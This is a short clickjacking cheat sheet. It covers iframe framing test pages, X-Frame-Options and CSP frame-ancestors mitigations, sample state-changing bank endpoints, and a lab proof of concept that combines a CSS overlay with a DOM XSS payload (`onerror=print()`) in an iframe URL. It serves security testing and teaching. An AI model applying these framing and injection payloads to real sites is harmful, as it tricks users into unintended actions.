Simple Clickjacking Vulnerability

Below is an example of HTML code demonstrating a simple clickjacking vulnerability:

<html>
<h3>This is my web page.</h3>
<iframe src="https://www.example.com" width="500" height="500"></iframe>
<p>If this window is not blank, the iframe source URL can be framed!</p>
</html>

If response headers like X-Frame-Options: DENY or X-Frame-Options: SAMEORIGIN are present, clickjacking cannot be exploited.

CSP Mitigation for UI Redressing

Content Security Policy (CSP) can be used to mitigate UI redressing attacks. Examples of CSP policies that can be used to prevent clickjacking are:

Content-Security-Policy: frame-ancestors 'none';
Content-Security-Policy: frame-ancestors 'self';

Identifying State-Changing Requests

Look for state-changing requests in the context of a clickjacking vulnerability. Examples of state-changing requests include:

Changing the password: bank.example.com/password_change
Transferring balance: bank.example.com/transfer_money
Unlinking an external account: bank.example.com/unlink

Clickjacking Code Example

Here is an example of HTML code that demonstrates clickjacking:

<html>
<head>
    <title>Clickjack test page</title>
</head>
<body>
    <p>Web page is vulnerable to clickjacking if the iframe is populated with the target page!</p>
    <iframe src="URL_OF_TARGET_PAGE" width="500" height="500"></iframe>
</body>
</html>

Clickjacking via DOM XSS Proof of Concept

An example of clickjacking via DOM XSS is demonstrated in the code below:

<style>
    iframe {
        position: relative;
        width: $width_value;
        height: $height_value;
        opacity: $opacity;
        z-index: 2;
    }
    div {
        position: absolute;
        top: $top_value;
        left: $side_value;
        z-index: 1;
    }
</style>
<div>Test me</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>

Please note that nowadays, clickjacking vulnerabilities are not typically accepted by Bug Bounty platforms, but they can still be used in combination with other vulnerabilities to create a more significant impact.
